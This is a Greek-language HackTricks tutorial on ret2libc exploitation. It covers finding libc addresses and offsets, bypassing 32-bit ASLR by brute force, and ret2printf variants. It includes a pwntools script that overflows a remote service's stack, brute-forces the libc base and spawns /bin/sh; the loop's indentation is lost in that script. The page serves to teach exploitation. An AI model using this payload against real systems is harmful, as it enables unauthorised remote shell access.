Ret2lib

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Η ουσία του Ret2Libc είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση μέσα σε ένα κοινόχρηστο βιβλιοθήκη (π.χ., system, execve, strcpy) αντί να εκτελεί κώδικα κέλυφους που παρέχεται από τον εισβολέα στη στοίβα. Ο εισβολέας δημιουργεί ένα φορτίο που τροποποιεί τη διεύθυνση επιστροφής στη στοίβα για να δείχνει στην επιθυμητή συνάρτηση βιβλιοθήκης, ταυτόχρονα διαμορφώνοντας τυχόν απαραίτητα ορίσματα για να ρυθμιστούν σωστά σύμφωνα με τον κανόνα κλήσης.

Παραδειγματικά Βήματα (απλουστευμένα)

  • Αποκτήστε τη διεύθυνση της συνάρτησης που θέλετε να καλέσετε (π.χ. system) και την εντολή που θέλετε να καλέσετε (π.χ. /bin/sh)

  • Δημιουργήστε μια ROP αλυσίδα για να περάσετε το πρώτο όρισμα που δείχνει στο αλφαριθμητικό εντολής και τη ροή εκτέλεσης στη συνάρτηση

Εύρεση των διευθύνσεων

  • Υποθέτοντας ότι η libc που χρησιμοποιείται είναι αυτή της τρέχουσας μηχανής, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της βιβλιοθήκης libc, μπορείτε να το κάνετε:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί το offset στη συνάρτηση system με:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί το offset της συνάρτησης που περιέχει το string /bin/sh με:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Χρησιμοποιώντας το gdb-peda / GEF

Γνωρίζοντας την βιβλιοθήκη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιηθεί το Peda ή το GEF για να ληφθεί η διεύθυνση της συνάρτησης system, της συνάρτησης exit και του string /bin/sh :

p system
p exit
find "/bin/sh"

Χρήση /proc/<PID>/maps

Αν η διεργασία δημιουργεί παιδιά κάθε φορά που επικοινωνείτε μαζί της (διακομιστής δικτύου), προσπαθήστε να διαβάσετε αυτό το αρχείο (ίσως χρειαστεί να είστε ροοτ).

Εδώ μπορείτε να βρείτε ακριβώς πού φορτώνεται η libc μέσα στη διεργασία και πού θα φορτωθεί για κάθε παιδί της διεργασίας.

Σε αυτήν την περίπτωση φορτώνεται στη 0xb75dc000 (Αυτή θα είναι η βασική διεύθυνση της libc)

Άγνωστη libc

Μπορεί να είναι δυνατόν να μην γνωρίζετε την libc που φορτώνει το δυαδικό αρχείο (επειδή μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτήν την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να διαρρεύσετε μερικές διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc χρησιμοποιείται:

pageLeaking libc address with ROP

Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό στο:

pageLeaking libc - template

Γνωρίζοντας την libc με 2 μετατοπίσεις

Ελέγξτε τη σελίδα https://libc.blukat.me/ και χρησιμοποιήστε μερικές διευθύνσεις συναρτήσεων μέσα στην libc για να βρείτε τη χρησιμοποιούμενη έκδοση.

Παράκαμψη του ASLR σε 32 bits

Αυτές οι επιθέσεις με brute-forcing είναι χρήσιμες μόνο για συστήματα 32bit.

  • Αν η εκμετάλλευση είναι τοπική, μπορείτε να δοκιμάσετε να κάνετε brute-force τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να δοκιμάσετε με βία τη διεύθυνση της συνάρτησης usleep της libc, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.

One Gadget

Εκτελέστε ένα κέλυφος απλά αναπηδώντας σε μία συγκεκριμένη διεύθυνση στην libc:

pageOne Gadget

x86 Παράδειγμα Κώδικα Ret2lib

Σε αυτό το παράδειγμα, η ASLR brute-force ενσωματώνεται στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Παράδειγμα κώδικα x64 Ret2lib

Ελέγξτε το παράδειγμα από:

pageROP - Return Oriented Programing

Παράδειγμα ARM64 Ret2lib

Στην περίπτωση του ARM64, η εντολή ret αναπηδάει στο σημείο όπου δείχνει το μητρώο x30 και όχι στο σημείο όπου δείχνει το μητρώο στοίβας. Έτσι είναι λίγο πιο περίπλοκο.

Επίσης, στο ARM64 μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατή η μετάβαση στη μέση των εντολών και η μετατροπή τους σε νέες).

Ελέγξτε το παράδειγμα από:

pageRet2lib + Printf leak - arm64

Ret-into-printf (ή puts)

Αυτό επιτρέπει την διαρροή πληροφοριών από τη διεργασία καλώντας το printf/puts με κάποια συγκεκριμένα δεδομένα που τοποθετούνται ως όρισμα. Για παράδειγμα, η τοποθέτηση της διεύθυνσης του puts στο GOT σε μια εκτέλεση του puts θα διαρρεύσει τη διεύθυνση του puts στη μνήμη.

Ret2printf

Αυτό σημαίνει ουσιαστικά την κατάχρηση ενός Ret2lib για να το μετατρέψετε σε μια ευπάθεια συμβολοσειράς printf χρησιμοποιώντας το ret2lib για να καλέσετε το printf με τις τιμές που θα το εκμεταλλευτείτε (ακούγεται άχρηστο αλλά είναι δυνατό):

pageFormat Strings

Άλλα Παραδείγματα & αναφορές

  • Ret2lib, δεδομένη μια διαρροή στη διεύθυνση μιας συνάρτησης στο libc, χρησιμοποιώντας ένα one gadget

  • 64 bit, ενεργοποιημένο το ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλισμα μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσετε το puts και να διαρρεύσετε τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσετε system('/bin/sh')

  • 64 bits, ενεργοποιημένο το ASLR, χωρίς canary, υπερχείλισμα στη στοίβα main από μια παιδική συνάρτηση. ROP gadget για να καλέσετε το puts και να διαρρεύσετε τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.

  • 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη λειτουργία write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα one gadget.

  • Χρησιμοποιεί μια συμβολοσειρά μορφοποίησης για να διαρρεύσει το canary από τη στοίβα και ένα υπερχείλισμα buffer για να καλέσει το σύστημα (είναι στο GOT) με τη διεύθυνση του /bin/sh.

  • 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κατάχρηση ενός κακού δείκτη για να διαρρεύσει διευθύνσεις του libc και της στοίβας από τη στοίβα. Κατάχρηση του υπερχείλισμου buffer για να κάνει ένα ret2lib καλώντας το system('/bin/sh') (η διεύθυνση της στοίβας χρειάζεται για να παρακάμψει έναν έλεγχο).

Last updated